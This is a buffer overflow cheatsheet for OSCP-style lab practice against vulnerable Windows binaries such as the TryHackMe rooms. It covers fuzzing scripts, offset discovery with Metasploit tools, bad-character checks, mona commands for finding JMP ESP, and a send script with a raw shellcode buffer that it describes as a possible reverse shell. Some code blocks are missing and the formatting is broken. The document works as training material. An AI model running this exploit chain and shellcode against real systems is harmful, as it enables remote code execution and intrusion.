Oscp Bof Cheatsheet
Oscp Bof Cheatsheet
Preparation
After obtaining the vulnerable binary transfer it to your Windows machine and open it in Immunity
Debugger.
Immunity will automatically pause the process, press F9 to continue it.
During the process of developing your exploit you have to restart the binary a few times; you can easily
do this in Immunity by pressing CTRL+F2.
Fuzzing
Depending on the software you might have to append or prepend some static string. For example the
oscp.exe binary in the THM Buffer Overflow Prep room has 10 commands (OVERFLOW1 -
OVERFLOW10), one of them has to be prepended to your payload so the application knows to which
function your input should be passed.
The fuzzing process is required to find the exact offset to overflow the EIP; there are multiple ways to
do so:
Manually
Manually (pattern_create)
Automatically + pattern_create
Manually:
If the buffer is very small you can create a dictionary manually, e.g.
AAAABBBBCCCCDDDDEEEE...ZZZZ and check what characters overwrites the EIP.
Manually (pattern_create):
The metasploit-framework has a tool called pattern_create.rb that can be used to generate a string with
an unique pattern.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x42424242
Replace 0x42424242 with the value currently stored in the EIP of the application.
Automatically + pattern_create:
If the buffer is quite big it might be a good idea to write a script to automatically find the broad range
needed to crash the application and overwrite the EIP.
Example script:
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
data = bytes(buffer, 'latin-1')
s.settimeout(5)
s.connect((ip, port))
#s.recv(1024)
print('Fuzzing with {} bytes'.format(len(data)))
s.send(data)
s.recv(1024)
except:
print('Fuzzing crashed at {}'.format(len(data)))
sys.exit(0)
buffer += 'A' * 100
time.sleep(1)
After finding the range e.g. 2400 adjust the script like the following:
Next, proceed like before and submit the value stored in EIP to pattern_offset.rb to find the exact offset
+ the amount of 'A's (in this case 2200).
Depending on the software there might be bad characters except \x00 that mess with your shellcode.
Keep in mind that bad chars can affect the next byte as well or even the whole string! Because of that
the second method might not be 100% accurate at the first run and might need some adjusting as well.
Method 1:
Create a payload similar to the following:
Send the payload to the application and check the memory if the payload is complete ( \x01 - \xff ).
If the string ends somewhere, let's say \x4d you can identify this as a bad character that terminated
the string.
It is also possible that only a single character is missing but the string continues, if that's the case it is a
bad char as well but does not effect the rest of the payload.
Method 2 (Mona):
After sending the payload containing all the characters take note of the address stored in ESP and use
the following command to search for corruptions:
After doing so you can remove the identified bad characters from your script (keep in mind that e.g.
\x00 might affect \x01 as well, this means \x01 doesn't have to be a bad char) and create a new
bytearray as well without these characters.
Repeat the whole process until mona returns "Unmodified" which means no bad chars were found.
Method 1:
!mona modules
This shows all the DLLs being used by the binary and the binary itself. It is important to find a DLL (or
use the binary if the following applies) that is not ASLR/DEP/SafeSEH/etc. protected.
Next use the following to find pointers of the "jmp esp" instruction:
!mona find -s "\xff\xe4" -m binary.exe
If you do not specify -m it will look for this instruction in all the modules.
Method 2:
!mona jmp -r esp -cpb "\x00"
(You might have to add additional bad chars)
There are two ways to put the address in your python script.
Manually:
Usually the system is little endian so you have to reverse the address.
If you get \x01\x02\x03\x04 write \x04\x03\x02\x01 in your python script:
[...]
buffer = b'A' * 1978
retn += b'\x04\x03\x02\x01'
shellcode = b''
struct.pack:
NOPs
Depending on your shellcode it is encoded and needs to unpack itself. For this process you need some
additional space in memory which you can "allocate" with NOPs ( \x90 ). NOP stands for No OPeration
and simply does nothing.
You can easily do this by adding some NOPs between the return address and your payload, e.g.:
Create Shellcode
Depending on the scenario you want to execute something locally (e.g. cmd.exe as nt authority\system)
or get a reverse shell back to your system.
ip = '10.10.53.146'
port = 9999
buf = b""
buf += b"\xbb\xec\xa7\xfa\x35\xd9\xea\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x12\x31\x58\x12\x83\xc0\x04\x03\xb4\xa9\x18"
buf += b"\xc0\x75\x6d\x2b\xc8\x26\xd2\x87\x65\xca\x5d\xc6\xca"
buf += b"\xac\x90\x89\xb8\x69\x9b\xb5\x73\x09\x92\xb0\x72\x61"
buf += b"\x2f\x4a\x18\x4b\x47\x4e\x22\xba\x56\xc7\xc3\x0c\x3e"
buf += b"\x88\x52\x3f\x0c\x2b\xdc\x5e\xbf\xac\x8c\xc8\x2e\x82"
buf += b"\x43\x60\xc7\xf3\x8c\x12\x7e\x85\x30\x80\xd3\x1c\x57"
buf += b"\x94\xdf\xd3\x18"
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((ip, port))
s.recv(1024)
print('Sending buffer')
s.send(payload)
s.recv(1024)
except Exception as e:
print(e)
sys.exit(0)
Practice
TryHackMe Brainpan 1 GH
TryHackMe Gatekeeper GH